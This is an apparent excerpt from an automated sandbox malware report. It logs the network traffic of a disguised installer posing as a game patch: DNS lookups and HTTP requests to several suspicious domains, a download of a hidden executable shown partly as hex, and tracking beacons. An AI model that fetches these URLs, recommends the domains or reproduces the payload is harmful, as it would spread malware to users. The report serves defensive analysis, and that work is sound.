Jan 22, 2024 11:52:05.703090906 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.703104019 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.703118086 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.703130007 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.703155994 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.703171968 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.703499079 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.758018970 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.807405949 CET	49729	80	192.168.2.4	172.67.206.124
Jan 22, 2024 11:52:05.925565004 CET	80	49729	172.67.206.124	192.168.2.4
Jan 22, 2024 11:52:06.777898073 CET	80	49729	172.67.206.124	192.168.2.4
Jan 22, 2024 11:52:06.820533037 CET	49729	80	192.168.2.4	172.67.206.124
Jan 22, 2024 11:52:09.336971045 CET	49731	443	192.168.2.4	104.21.38.59
Jan 22, 2024 11:52:09.337012053 CET	443	49731	104.21.38.59	192.168.2.4
Jan 22, 2024 11:52:09.337083101 CET	49731	443	192.168.2.4	104.21.38.59
Jan 22, 2024 11:52:09.348248959 CET	49731	443	192.168.2.4	104.21.38.59
Jan 22, 2024 11:52:09.348273993 CET	443	49731	104.21.38.59	192.168.2.4
Jan 22, 2024 11:52:09.613488913 CET	443	49731	104.21.38.59	192.168.2.4
Jan 22, 2024 11:52:09.613642931 CET	49731	443	192.168.2.4	104.21.38.59
Jan 22, 2024 11:52:09.728924990 CET	49731	443	192.168.2.4	104.21.38.59
Jan 22, 2024 11:52:09.728981018 CET	443	49731	104.21.38.59	192.168.2.4
Jan 22, 2024 11:52:09.730067968 CET	443	49731	104.21.38.59	192.168.2.4
Jan 22, 2024 11:52:09.730144978 CET	49731	443	192.168.2.4	104.21.38.59
Jan 22, 2024 11:52:09.736887932 CET	49731	443	192.168.2.4	104.21.38.59
Jan 22, 2024 11:52:09.781971931 CET	443	49731	104.21.38.59	192.168.2.4
Jan 22, 2024 11:52:09.924427986 CET	443	49731	104.21.38.59	192.168.2.4
Jan 22, 2024 11:52:09.924544096 CET	49731	443	192.168.2.4	104.21.38.59
Jan 22, 2024 11:52:09.924561024 CET	443	49731	104.21.38.59	192.168.2.4
Jan 22, 2024 11:52:09.924663067 CET	49731	443	192.168.2.4	104.21.38.59
Jan 22, 2024 11:52:09.931456089 CET	49731	443	192.168.2.4	104.21.38.59
Jan 22, 2024 11:52:09.931479931 CET	443	49731	104.21.38.59	192.168.2.4
Jan 22, 2024 11:52:09.979119062 CET	49732	80	192.168.2.4	104.21.38.59
Jan 22, 2024 11:52:10.097107887 CET	80	49732	104.21.38.59	192.168.2.4
Jan 22, 2024 11:52:10.097389936 CET	49732	80	192.168.2.4	104.21.38.59
Jan 22, 2024 11:52:10.161425114 CET	49732	80	192.168.2.4	104.21.38.59
Jan 22, 2024 11:52:10.279337883 CET	80	49732	104.21.38.59	192.168.2.4
Jan 22, 2024 11:52:10.348619938 CET	80	49732	104.21.38.59	192.168.2.4
Jan 22, 2024 11:52:10.348865032 CET	49732	80	192.168.2.4	104.21.38.59
Jan 22, 2024 11:52:10.634862900 CET	49732	80	192.168.2.4	104.21.38.59
Jan 22, 2024 11:52:10.752851963 CET	80	49732	104.21.38.59	192.168.2.4
Jan 22, 2024 11:52:10.780113935 CET	80	49732	104.21.38.59	192.168.2.4
Jan 22, 2024 11:52:10.780200958 CET	49732	80	192.168.2.4	104.21.38.59
Jan 22, 2024 11:52:11.060605049 CET	49732	80	192.168.2.4	104.21.38.59
Jan 22, 2024 11:52:11.220352888 CET	80	49732	104.21.38.59	192.168.2.4
Jan 22, 2024 11:52:11.234447956 CET	80	49732	104.21.38.59	192.168.2.4
Jan 22, 2024 11:52:11.234599113 CET	49732	80	192.168.2.4	104.21.38.59
Jan 22, 2024 11:52:11.254911900 CET	49732	80	192.168.2.4	104.21.38.59
Jan 22, 2024 11:52:11.372769117 CET	80	49732	104.21.38.59	192.168.2.4
Jan 22, 2024 11:52:11.400857925 CET	80	49732	104.21.38.59	192.168.2.4
Jan 22, 2024 11:52:11.400933981 CET	49732	80	192.168.2.4	104.21.38.59
Jan 22, 2024 11:52:11.429158926 CET	49732	80	192.168.2.4	104.21.38.59
Jan 22, 2024 11:52:11.587317944 CET	80	49732	104.21.38.59	192.168.2.4
Jan 22, 2024 11:52:11.587775946 CET	80	49732	104.21.38.59	192.168.2.4
Jan 22, 2024 11:52:11.587872028 CET	49732	80	192.168.2.4	104.21.38.59
Jan 22, 2024 11:52:13.580415964 CET	49732	80	192.168.2.4	104.21.38.59
Jan 22, 2024 11:52:13.698498011 CET	80	49732	104.21.38.59	192.168.2.4
Jan 22, 2024 11:52:13.726305008 CET	80	49732	104.21.38.59	192.168.2.4
Jan 22, 2024 11:52:13.726409912 CET	49732	80	192.168.2.4	104.21.38.59
Jan 22, 2024 11:52:13.754551888 CET	49732	80	192.168.2.4	104.21.38.59
Jan 22, 2024 11:52:13.906094074 CET	80	49732	104.21.38.59	192.168.2.4
Jan 22, 2024 11:52:13.906403065 CET	49732	80	192.168.2.4	104.21.38.59
Jan 22, 2024 11:52:13.924547911 CET	49732	80	192.168.2.4	104.21.38.59
Jan 22, 2024 11:52:14.069412947 CET	80	49732	104.21.38.59	192.168.2.4
Jan 22, 2024 11:52:14.069581032 CET	49732	80	192.168.2.4	104.21.38.59
Jan 22, 2024 11:52:14.107268095 CET	49732	80	192.168.2.4	104.21.38.59
Jan 22, 2024 11:52:14.261511087 CET	80	49732	104.21.38.59	192.168.2.4
Jan 22, 2024 11:52:14.261584044 CET	49732	80	192.168.2.4	104.21.38.59
Jan 22, 2024 11:52:14.279385090 CET	49732	80	192.168.2.4	104.21.38.59
Jan 22, 2024 11:52:14.423902035 CET	80	49732	104.21.38.59	192.168.2.4
Jan 22, 2024 11:52:14.423980951 CET	49732	80	192.168.2.4	104.21.38.59
Jan 22, 2024 11:52:14.468943119 CET	49732	80	192.168.2.4	104.21.38.59
Jan 22, 2024 11:52:14.620441914 CET	80	49732	104.21.38.59	192.168.2.4
Jan 22, 2024 11:52:14.620549917 CET	49732	80	192.168.2.4	104.21.38.59
Jan 22, 2024 11:52:14.641145945 CET	49732	80	192.168.2.4	104.21.38.59
Jan 22, 2024 11:52:14.785403967 CET	80	49732	104.21.38.59	192.168.2.4
Jan 22, 2024 11:52:14.785491943 CET	49732	80	192.168.2.4	104.21.38.59
Jan 22, 2024 11:53:50.289711952 CET	49729	80	192.168.2.4	172.67.206.124
Jan 22, 2024 11:53:50.289962053 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:53:50.408437967 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:53:50.408513069 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:53:50.409003019 CET	80	49729	172.67.206.124	192.168.2.4
Jan 22, 2024 11:53:50.409079075 CET	49729	80	192.168.2.4	172.67.206.124
Jan 22, 2024 11:53:59.176852942 CET	49732	80	192.168.2.4	104.21.38.59
Jan 22, 2024 11:53:59.295352936 CET	80	49732	104.21.38.59	192.168.2.4
Jan 22, 2024 11:53:59.295583963 CET	49732	80	192.168.2.4	104.21.38.59

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 22, 2024 11:52:00.316685915 CET	57010	53	192.168.2.4	1.1.1.1
Jan 22, 2024 11:52:00.474344969 CET	53	57010	1.1.1.1	192.168.2.4
Jan 22, 2024 11:52:01.265249014 CET	51443	53	192.168.2.4	1.1.1.1
Jan 22, 2024 11:52:01.419105053 CET	53	51443	1.1.1.1	192.168.2.4
Jan 22, 2024 11:52:09.189857006 CET	55556	53	192.168.2.4	1.1.1.1
Jan 22, 2024 11:52:09.325825930 CET	53	55556	1.1.1.1	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 22, 2024 11:52:00.316685915 CET	192.168.2.4	1.1.1.1	0x8aac	Standard query (0)	restfork.website	A (IP address)	IN (0x0001)	false
Jan 22, 2024 11:52:01.265249014 CET	192.168.2.4	1.1.1.1	0xa06c	Standard query (0)	antsmemory.xyz	A (IP address)	IN (0x0001)	false
Jan 22, 2024 11:52:09.189857006 CET	192.168.2.4	1.1.1.1	0x285b	Standard query (0)	beadhouse.xyz	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	Address	Type	Class	DNS over HTTPS
Jan 22, 2024 11:52:00.474344969 CET	1.1.1.1	192.168.2.4	0x8aac	No error (0)	restfork.website	172.67.206.124	A (IP address)	IN (0x0001)	false
Jan 22, 2024 11:52:00.474344969 CET	1.1.1.1	192.168.2.4	0x8aac	No error (0)	restfork.website	104.21.61.51	A (IP address)	IN (0x0001)	false
Jan 22, 2024 11:52:01.419105053 CET	1.1.1.1	192.168.2.4	0xa06c	No error (0)	antsmemory.xyz	104.21.23.90	A (IP address)	IN (0x0001)	false
Jan 22, 2024 11:52:01.419105053 CET	1.1.1.1	192.168.2.4	0xa06c	No error (0)	antsmemory.xyz	172.67.210.35	A (IP address)	IN (0x0001)	false
Jan 22, 2024 11:52:09.325825930 CET	1.1.1.1	192.168.2.4	0x285b	No error (0)	beadhouse.xyz	104.21.38.59	A (IP address)	IN (0x0001)	false
Jan 22, 2024 11:52:09.325825930 CET	1.1.1.1	192.168.2.4	0x285b	No error (0)	beadhouse.xyz	172.67.219.140	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

beadhouse.xyz

restfork.website

antsmemory.xyz

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49729	172.67.206.124	80	3484	C:\Users\user\AppData\Local\Temp\is-9JNCR.tmp\61487917009BBCC5F0DAC7840265060F070ADC22139FB.tmp

Timestamp	Bytes transferred	Direction	Data
Jan 22, 2024 11:52:00.601181030 CET	197	OUT	GET /bo.php?p=3851&t=47978071&title=R3JlYWsgTWVtb3JpZXMgb2YgQXp1ciBUcmtlIFlhbWEuZXhl&sub=&ps=6579ddd35c34a HTTP/1.1 Connection: Keep-Alive User-Agent: Inno Setup 6.2.2 Host: restfork.website
Jan 22, 2024 11:52:01.214171886 CET	851	IN	HTTP/1.1 200 OK Date: Mon, 22 Jan 2024 10:52:01 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 137 Connection: keep-alive X-Powered-By: PHP/5.4.16 Cache-Control: no-transform, no-cache, must-revalidate Pragma: no-cache Expires: Sat, 26 Jul 1997 05:00:00 GMT CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=lGUhtsQkSBc6uwQHPNjj1nI5xDevwTk992UN89sjPW7ElywxGdIXqm%2F%2F7sY%2BX5O6K70DBwtOVVzKrLH2qqmYwITnGYjmJ9GPab%2BpyrnwPJk6QeB4FvLF4731EAHy%2F23EHdoo"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 84973eb81921b0cd-ATL alt-svc: h3=":443"; ma=86400 Data Raw: 68 74 74 70 3a 2f 2f 61 6e 74 73 6d 65 6d 6f 72 79 2e 78 79 7a 2f 70 65 2f 62 75 69 6c 64 2e 70 68 70 3f 70 65 3d 31 26 73 75 62 3d 26 73 6f 75 72 63 65 3d 33 38 35 31 26 73 31 3d 34 37 39 37 38 30 37 31 26 74 69 74 6c 65 3d 52 33 4a 6c 59 57 73 67 54 57 56 74 62 33 4a 70 5a 58 4d 67 62 32 59 67 51 58 70 31 63 69 42 55 63 6d 74 6c 49 46 6c 68 62 57 45 75 5a 58 68 6c 26 74 69 3d 31 37 30 35 39 32 30 37 32 31 Data Ascii: http://antsmemory.xyz/pe/build.php?pe=1&sub=&source=3851&s1=47978071&title=R3JlYWsgTWVtb3JpZXMgb2YgQXp1ciBUcmtlIFlhbWEuZXhl&ti=1705920721
Jan 22, 2024 11:52:05.807405949 CET	103	OUT	GET /boa.php HTTP/1.1 Connection: Keep-Alive User-Agent: Inno Setup 6.2.2 Host: restfork.website
Jan 22, 2024 11:52:06.777898073 CET	595	IN	HTTP/1.1 200 OK Date: Mon, 22 Jan 2024 10:52:06 GMT Content-Type: text/plain; charset=UTF-8 Content-Length: 2 Connection: keep-alive X-Powered-By: PHP/5.4.16 CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=8wvdSg8dxCmZVawshYHBzJZ1ObXKCbl1kG094NgblJ4U8Ynbfy2WDSPyz8BUdGPd9iy85K51%2BGYlgXtrccsGKeEqszZ90osKDgCDHAHohEh5ybGP9keazV30%2BLbqVnlgTMmo"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 84973ed8ab07b0cd-ATL alt-svc: h3=":443"; ma=86400 Data Raw: 6f 6b Data Ascii: ok

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49730	104.21.23.90	80	3484	C:\Users\user\AppData\Local\Temp\is-9JNCR.tmp\61487917009BBCC5F0DAC7840265060F070ADC22139FB.tmp

Timestamp	Bytes transferred	Direction	Data
Jan 22, 2024 11:52:01.539943933 CET	209	OUT	GET /pe/build.php?pe=1&sub=&source=3851&s1=47978071&title=R3JlYWsgTWVtb3JpZXMgb2YgQXp1ciBUcmtlIFlhbWEuZXhl&ti=1705920721 HTTP/1.1 Connection: Keep-Alive User-Agent: Inno Setup 6.2.2 Host: antsmemory.xyz
Jan 22, 2024 11:52:05.015739918 CET	1286	IN	HTTP/1.1 200 OK Date: Mon, 22 Jan 2024 10:52:04 GMT Content-Type: application/force-download Content-Length: 3467931 Connection: keep-alive X-Powered-By: PHP/5.3.28 Content-Disposition: attachment; filename="Greak Memories of Azur Trke Yama.exe_.exe" CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=bWs%2B9koeuP6dBWttpQaaQejWJEF7dWF1egZPsDLoHXeWQa82XjqRen1Lbp0KK7whQRTAQG0Tw2DJZTCTt8n3xBA748jIk%2Bsgz5HABpz1XHpahqZEdsK9T0MX4zmtUW2Muw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 84973ebdffbc7bbe-ATL alt-svc: h3=":443"; ma=86400 Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 31 b8 84 3a 75 d9 ea 69 75 d9 ea 69 75 d9 ea 69 b6 d6 b5 69 77 d9 ea 69 75 d9 eb 69 ee d9 ea 69 b6 d6 b7 69 64 d9 ea 69 21 fa da 69 7f d9 ea 69 b2 df ec 69 74 d9 ea 69 52 69 63 68 75 d9 ea 69 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 c6 e3 1a 4b 00 00 00 00 00 00 00 00 e0 00 0f 01 0b 01 06 00 00 5c 00 00 00 d4 01 00 00 04 00 00 3c 32 00 00 00 10 00 00 00 70 00 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 06 00 00 00 04 00 00 00 00 00 00 00 00 a0 03 00 00 04 00 00 00 00 00 00 02 00 00 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 a4 73 00 00 b4 00 00 00 00 60 03 00 e0 3f 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 70 00 00 8c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 5a 5a 00 00 00 10 00 00 00 5c 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 90 11 00 00 00 70 00 00 00 12 00 00 00 60 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 98 af 01 00 00 90 00 00 00 04 00 00 00 72 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 6e 64 61 74 61 00 00 00 20 01 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$1:uiuiuiiwiuiiidi!iiitiRichuiPELK\<2p@s`?p.textZZ\ `.rdatap`@@.datar@.ndata
Jan 22, 2024 11:52:05.015755892 CET	1286	IN	Data Raw: 00 00 40 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 c0 2e 72 73 72 63 00 00 00 e0 3f 00 00 00 60 03 00 00 40 00 00 00 76 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: @.rsrc?`@v@@
Jan 22, 2024 11:52:05.015769005 CET	1286	IN	Data Raw: 83 45 f8 04 83 7d fc 20 72 9f 8b 45 fc 5f 5e 5b c9 c2 04 00 8b 44 24 04 85 c0 7d 11 40 b9 00 40 42 00 c1 e0 0a 2b c8 51 e8 57 47 00 00 c2 04 00 56 8b 74 24 08 eb 6a 8b c6 8b 0d d0 3e 42 00 6b c0 1c 03 c1 83 38 01 74 5c 50 e8 8c 00 00 00 3d ff ff Data Ascii: E} rE_^[D$}@@B+QWGVt$j>Bk8t\P=tUPu@FH+\|$t/6Bj5t6Bh0u56B0q@Pht$Dr@}3^D$>Bjtlihp@t$:U>BSVuWjY
Jan 22, 2024 11:52:05.015774965 CET	1286	IN	Data Raw: a1 36 00 00 ff 05 54 3f 42 00 53 53 ff 75 cc ff 75 e4 e8 a2 16 00 00 ff 0d 54 3f 42 00 83 7d e8 ff 8b f8 75 06 83 7d ec ff 74 12 8d 45 e8 50 8d 45 e8 53 50 ff 75 cc ff 15 a8 70 40 00 ff 75 cc ff 15 ec 70 40 00 3b fb 0f 8d de 0f 00 00 83 ff fe 75 Data Ascii: 6T?BSSuuT?B}u}tEPESPup@up@;ujVBuVBjVBh V1S4j1uP<;;i;EJ;EEjuPn;ijPMBjjEj9]
Jan 22, 2024 11:52:05.015780926 CET	1076	IN	Data Raw: 88 af 40 00 8a c8 80 e1 02 24 04 68 90 af 40 00 88 0d 89 af 40 00 a2 8a af 40 00 e8 03 3e 00 00 68 74 af 40 00 ff 15 4c 70 40 00 e9 23 07 00 00 53 e8 3e 0c 00 00 6a 01 8b f0 e8 35 0c 00 00 39 5d e8 50 56 75 0b ff 15 60 72 40 00 e9 d5 0a 00 00 ff Data Ascii: @$h@@@>ht@Lp@#S>j59]PVu`r@<r@S/j1&j"jj:uhB#PS#Pu\q@!uASVj0V5;E 9]tF5q@jq@jdu=
Jan 22, 2024 11:52:05.028439045 CET	1286	IN	Data Raw: f9 e8 65 2d 00 00 e9 b8 04 00 00 8b 45 cc 56 89 45 9c c7 45 a0 02 00 00 00 e8 c5 39 00 00 57 88 5c 30 01 e8 bb 39 00 00 88 5c 38 01 8b 45 08 66 8b 4d e4 50 53 89 75 a4 89 7d a8 89 45 b6 66 89 4d ac e8 24 2d 00 00 8d 45 9c 50 ff 15 60 71 40 00 85 Data Ascii: e-EVEE9W\09\8EfMPSu}EfM$-EP`q@=th jS9P2~4?Bh33;tSU;tj9]tj"jPSWV q@?jE!N~jxjEnPh
Jan 22, 2024 11:52:05.028599024 CET	1286	IN	Data Raw: 00 56 e8 78 31 00 00 6a 02 68 00 00 00 40 56 e8 8a 31 00 00 83 f8 ff 89 45 08 0f 84 9d 00 00 00 a1 b4 3e 42 00 8b 35 00 71 40 00 50 6a 40 89 45 d4 ff d6 8b f8 3b fb 74 7b 53 e8 13 0b 00 00 ff 75 d4 57 e8 d8 0a 00 00 ff 75 e4 6a 40 ff d6 8b f0 3b Data Ascii: Vx1jh@V1E>B5q@Pj@E;t{SuWuj@;ut4uVSuFQVPM0u8uup@ESPuWu(q@Wp@SSujEup@9]j^}j^uDq@EVSV;>BE
Jan 22, 2024 11:52:05.028611898 CET	1286	IN	Data Raw: 06 04 00 00 ff 75 08 e8 54 28 00 00 33 c0 c9 c2 10 00 8b 0d 40 70 41 00 a1 50 f0 41 00 3b c8 7c 02 8b c8 50 6a 64 51 ff 15 30 71 40 00 c3 55 8b ec 83 ec 40 56 33 f6 39 75 08 74 18 a1 4c 70 41 00 3b c6 74 07 50 ff 15 e8 71 40 00 89 35 4c 70 41 00 Data Ascii: uT(3@pAPA;\|PjdQ0q@U@V39utLpA;tPq@5LpAv95LpAtV2fp@;>BvX95>Bt-T?BtGPEhP@Pr@EPV"#Vh;+@Vjo5>Bq@jPLpA`r@^U(SV3W]]p@Bh
Jan 22, 2024 11:52:05.028623104 CET	1286	IN	Data Raw: 00 2b 05 54 f0 41 00 3b c7 7f 02 8b f8 be 40 30 41 00 57 56 e8 fb 00 00 00 85 c0 0f 84 d3 00 00 00 01 3d 54 f0 41 00 89 35 d0 af 40 00 89 3d d4 af 40 00 39 1d b0 3e 42 00 74 29 39 1d 40 3f 42 00 75 21 a1 50 f0 41 00 53 2b 05 44 70 41 00 2b 44 24 Data Ascii: +TA;@0AWV=TA5@=@9>Bt)9@?Bu!PAS+DpA+D$@@pAY@-@@Y.\|{5@+t2D$SPVU5@(q@tU;t$uO5@9@w9@u7;t3DpA+@L$SSP5@4q@
Jan 22, 2024 11:52:05.028635025 CET	1286	IN	Data Raw: 24 18 ff 74 24 18 ff 15 a4 70 40 00 a1 14 90 40 00 56 8b 35 ec 70 40 00 83 f8 ff 74 0a 50 ff d6 83 0d 14 90 40 00 ff a1 18 90 40 00 83 f8 ff 74 0a 50 ff d6 83 0d 18 90 40 00 ff e8 29 00 00 00 6a 07 68 00 a8 42 00 e8 8e 1e 00 00 5e c3 56 8b 35 5c Data Ascii: $t$p@@V5p@tP@@tP@)jhB^V5\At$V6Yu^V5\AjtW6wq@Wp@u_%\A^\AH;L$tu@3Vt$Vu@,jj@q@tL$pH\A\A
Jan 22, 2024 11:52:05.028909922 CET	1286	IN	Data Raw: 00 8b 44 24 2c a3 78 36 42 00 e9 fc 03 00 00 83 fb 11 75 11 55 55 57 ff 15 30 72 40 00 33 c0 40 e9 0b 04 00 00 81 fb 11 01 00 00 0f 85 9d 00 00 00 0f b7 74 24 2c 56 57 ff 15 2c 72 40 00 8b f8 3b fd 74 1d 55 55 68 f3 00 00 00 57 ff 15 44 72 40 00 Data Ascii: D$,x6BuUUW0r@3@t$,VW,r@;tUUhWDr@Wq@uV.u9-@~?jj_;u49-,?BtW=hAjx0ju%hAt$0t$0h5x6BDr@t$0t$0SOD$,\|$$;BuM

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49732	104.21.38.59	80	5000	C:\Users\user\AppData\Local\Temp\is-CTG90.tmp\setup.exe

Timestamp	Bytes transferred	Direction	Data
Jan 22, 2024 11:52:10.161425114 CET	164	OUT	GET /api_pedl.php?spot=1&a=2529&on=420&o=1662 HTTP/1.1 User-Agent: InnoDownloadPlugin/1.5 Host: beadhouse.xyz Connection: Keep-Alive Cache-Control: no-cache
Jan 22, 2024 11:52:10.348619938 CET	604	IN	HTTP/1.1 404 Not Found Date: Mon, 22 Jan 2024 10:52:10 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.5.38 CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=kYaGAcq6tdrURzRz0xkn9NnA357R0TVRd%2FjqdNKYf4kXVEpC%2BIQM7hlUI408r3%2B%2B2yFWvqZVOS2dY18l%2FejigO3tQrz%2B238Gad4NGZOy1yHAYSku%2FggvckbzLveuRPRv"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 84973ef3dc0b1389-ATL alt-svc: h3=":443"; ma=86400 Data Raw: 30 0d 0a 0d 0a Data Ascii: 0
Jan 22, 2024 11:52:10.634862900 CET	214	OUT	GET /ar.php?fz=&d=nsis&msg=&r=offer_execution_fail&rk=no&o=1662&a=2529&dn=420&spot=1&t=1705920717 HTTP/1.1 User-Agent: NSIS_Inetc (Mozilla) Host: beadhouse.xyz Connection: Keep-Alive Cache-Control: no-cache
Jan 22, 2024 11:52:10.780113935 CET	582	IN	HTTP/1.1 200 OK Date: Mon, 22 Jan 2024 10:52:10 GMT Content-Type: text/plain Content-Length: 2 Connection: keep-alive X-Powered-By: PHP/5.5.38 CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=w7FFdXl2HG9M7KyGkmicFcNW0KXYdDyJjSF0e4jxi27G%2F93eg2CfQkYfrYq2KbXHBNIs%2B%2FxPFzYl3siCiVg3Vueft2VMPFAZErjxxSpv8V9IbYjfpIK%2BH%2BsD5KHqmOOk"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 84973ef6ccd21389-ATL alt-svc: h3=":443"; ma=86400 Data Raw: 6f 6b Data Ascii: ok
Jan 22, 2024 11:52:11.060605049 CET	164	OUT	GET /api_pedl.php?spot=2&a=2529&on=419&o=1661 HTTP/1.1 User-Agent: InnoDownloadPlugin/1.5 Host: beadhouse.xyz Connection: Keep-Alive Cache-Control: no-cache
Jan 22, 2024 11:52:11.234447956 CET	606	IN	HTTP/1.1 404 Not Found Date: Mon, 22 Jan 2024 10:52:11 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.5.38 CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=zEilxR4jKh06O%2BzIzs%2FSs%2BO8j4X4J308mNpYwdpYAiZ7%2FYl4Ijn%2F1HlO9c9UayUajzdDMWFQm%2BiEtjpXonLxu%2BndXShBwxae7egKQu0g4lJkyZbkIda%2BNFDsSIJdYhjp"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 84973ef97da01389-ATL alt-svc: h3=":443"; ma=86400 Data Raw: 30 0d 0a 0d 0a Data Ascii: 0
Jan 22, 2024 11:52:11.254911900 CET	214	OUT	GET /ar.php?fz=&d=nsis&msg=&r=offer_execution_fail&rk=no&o=1661&a=2529&dn=419&spot=2&t=1705920717 HTTP/1.1 User-Agent: NSIS_Inetc (Mozilla) Host: beadhouse.xyz Connection: Keep-Alive Cache-Control: no-cache
Jan 22, 2024 11:52:11.400857925 CET	578	IN	HTTP/1.1 200 OK Date: Mon, 22 Jan 2024 10:52:11 GMT Content-Type: text/plain Content-Length: 2 Connection: keep-alive X-Powered-By: PHP/5.5.38 CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=K0JdBUzENJFTrHu1HZ2O8SYlZ6oYDGO9nr1od3zMO0BLoFnKEgF4dvFDtrborG3LpgOQx0bJTaYVMCNuAaYsHlUyKNyxosk9wUNoJ%2B3XV3bRoHNOLPDF%2BX%2B9r6xUY5sJ"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 84973efaadeb1389-ATL alt-svc: h3=":443"; ma=86400 Data Raw: 6f 6b Data Ascii: ok
Jan 22, 2024 11:52:11.429158926 CET	163	OUT	GET /api_pedl.php?spot=3&a=2529&on=244&o=331 HTTP/1.1 User-Agent: InnoDownloadPlugin/1.5 Host: beadhouse.xyz Connection: Keep-Alive Cache-Control: no-cache
Jan 22, 2024 11:52:11.587775946 CET	598	IN	HTTP/1.1 404 Not Found Date: Mon, 22 Jan 2024 10:52:11 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.5.38 CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=3gaTzNfT3Gmvy9pXsZTuT0OrfkfWNvmGW3Hyt7nxtLw7H7%2FKvap%2Fuiy1YEa0QVuHuDIilgRAbHtlRLGIr0N0Eb2VwQkZNiWEoXIQ2SX8%2B3s9TBIYjWRJoUrQiblGnY%2BV"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 84973efbce3e1389-ATL alt-svc: h3=":443"; ma=86400 Data Raw: 30 0d 0a 0d 0a Data Ascii: 0
